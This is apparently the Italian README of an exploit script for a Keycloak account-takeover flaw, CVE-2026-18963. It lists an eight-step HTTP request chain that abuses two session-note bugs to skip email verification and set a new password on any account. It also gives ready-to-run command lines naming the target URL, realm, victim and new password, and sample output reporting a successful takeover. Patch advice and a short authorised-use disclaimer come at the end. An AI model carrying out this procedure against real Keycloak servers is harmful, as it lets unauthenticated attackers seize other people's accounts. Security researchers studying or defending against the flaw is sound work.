
Exploit per CVE-2026-18963, una critica acquisizione non autenticata dell'account nel flusso reset-credentials di Keycloak, che combina due bug per bypassare la verifica email e impostare una nuova password.
CVSS 9.1 Critico · Keycloak 26.0.0 – 26.7.1 · Non autenticato
Una vulnerabilità critica nel flusso di reset delle credenziali di Keycloak che consente a un attaccante non autenticato di impossessarsi di qualsiasi account utente senza verifica email, concatenando due bug nella gestione della sessione di autenticazione.
| Campo | Valore |
|---|
| CVE | CVE-2026-18963 |
| Punteggio CVSS | 9.1 (Critico) |
| Vettore CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-640 — Meccanismo di recupero password debole |
| Versioni affette | Keycloak 26.0.0 – 26.7.1 |
| Versioni corrette | 26.4.15 / 26.6.6 / 26.7.2 / 26.8.0 |
| Componente | keycloak-services (flusso reset-credentials) |
| Riferimento | https://github.com/keycloak/keycloak/issues/51833 |
Due bug vengono concatenati:
Bug 1 — Il gestore tryAnotherWay salva la nota
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" nella sessione di autenticazione senza associarla ad alcun ID di esecuzione.
Bug 2 — ResetCredentialEmail.action() chiama context.success() (saltando completamente la verifica email) ogni volta che tale nota è presente, senza controllare ACTION_TOKEN_USER_ID.
1. GET /realms/{realm}/protocol/openid-connect/auth
→ Stabilisce la sessione OIDC, estrae il link forgot-password
2. GET /login-actions/reset-credentials?...
→ Carica il modulo reset-credentials
3. POST tryAnotherWay=on
→ Imposta la nota AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED (Bug 1)
4. POST username={target} → modulo selettore
→ Associa l'utente target alla sessione di autenticazione, attiva il passaggio email
5. GET /login-actions/restart?...
→ Opzionale: rispecchia il polling della sessione del browser
6. GET /login-actions/reset-credentials?... (stesso URL del passaggio 2)
→ La nota del selettore obsoleta è ancora presente → il selettore delle credenziali riappare
7. POST username={target} → selettore obsoleto
→ ResetCredentialEmail vede la nota, chiama context.success() (Bug 2)
→ Il flusso avanza direttamente a UPDATE_PASSWORD — nessuna email inviata
8. POST password-new={attacker_password}
→ Account compromesso
python3 -m pip install requests
python3 exploit_cve_2026_18963.py \
--url https://target.com \
--realm master \
--username [email protected] \
--new-password NewPass123!
--url URL base di Keycloak (obbligatorio)
--realm Realm di destinazione (predefinito: master)
--username Nome utente o email dell'account da compromettere (obbligatorio)
--new-password Password da impostare sull'account target (obbligatorio)
--client-id ID client OIDC (predefinito: account)
--auth-prefix auto | new | old
auto = rileva automaticamente (predefinito)
new = /realms/... (Keycloak >= 17)
old = /auth/realms/... (Keycloak < 17)
-v, --verbose Stampa la traccia HTTP completa
--skip-version-check
# Rilevamento automatico del prefisso URL Keycloak vecchio/nuovo
python3 exploit_cve_2026_18963.py \
--url https://sso.example.com \
--realm myrealm \
--username [email protected] \
--new-password Pwn3d2026!
# Forza il prefisso legacy /auth/ (Keycloak < 17)
python3 exploit_cve_2026_18963.py \
--url https://sso.example.com \
--realm myrealm \
--username [email protected] \
--new-password Pwn3d2026! \
--auth-prefix old
# Traccia HTTP dettagliata
python3 exploit_cve_2026_18963.py \
--url https://sso.example.com \
--realm myrealm \
--username [email protected] \
--new-password Pwn3d2026! \
-v
CVE-2026-18963 | Keycloak Account Takeover non autenticato
Utente : [email protected]
[Passaggio 0] Rilevamento versione e prefisso percorso
[+] Prefisso percorso: '/auth' → rilevato
[?] Versione non rilevata — si prosegue comunque.
Target : https://sso.example.com/auth/realms/myrealm
[Passaggio 1] Apertura del modulo reset-credentials tramite link OIDC forgot-password
[+] Sessione OIDC stabilita
[+] Modulo reset-credentials caricato
[Passaggio 2] POST tryAnotherWay=on → imposta la nota del selettore (Bug 1)
[+] Modulo selettore credenziali ricevuto
[Passaggio 3] POST username='[email protected]' → associa utente, attiva il passaggio email
[+] Passaggio email attivato — URL di polling sessione trovato
[Passaggio 4] GET percorso di polling sessione (opzionale)
[Passaggio 5] Nuova visita all'URL forgot-password → ottieni selettore obsoleto
[+] Modulo selettore credenziali obsoleto ricevuto
[Passaggio 6] POST username al selettore obsoleto → attiva il bypass (Bug 2)
[+] BYPASS RIUSCITO — modulo update-password ricevuto
[Passaggio 7] Imposta nuova password
============================================================
[+] SUCCESSO — Account Takeover completato
[+] Target : https://sso.example.com/auth/realms/myrealm
[+] Utente : [email protected]
[+] Password : Pwn3d2026!
============================================================
| Versione Keycloak | Prefisso URL | Vulnerabile |
|---|---|---|
| < 17.x | /auth/realms/ | ✅ se nel range 26.x |
| ≥ 17.x | /realms/ | ✅ se < 26.7.2 |
| 26.4.15+ / 26.6.6+ / 26.7.2+ / 26.8.0+ | qualsiasi | ❌ Corretta |
Lo script rileva automaticamente se il target utilizza il prefisso legacy /auth/ o il percorso moderno, quindi funziona sia con distribuzioni vecchie che nuove senza configurazione manuale.
Patch (consigliata): Aggiornare a una delle versioni corrette:
26.4.15 o successive nella linea 26.4.x26.6.6 o successive nella linea 26.6.x26.7.2 o successive nella linea 26.7.x26.8.0 o successiveSoluzione temporanea: Disabilitare Forgot Password su tutti i realm:
Realm Settings → Login → Forgot Password → OFF
Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e scopi educativi. Utilizzalo solo contro sistemi di tua proprietà o per i quali hai ricevuto esplicita autorizzazione scritta per il test.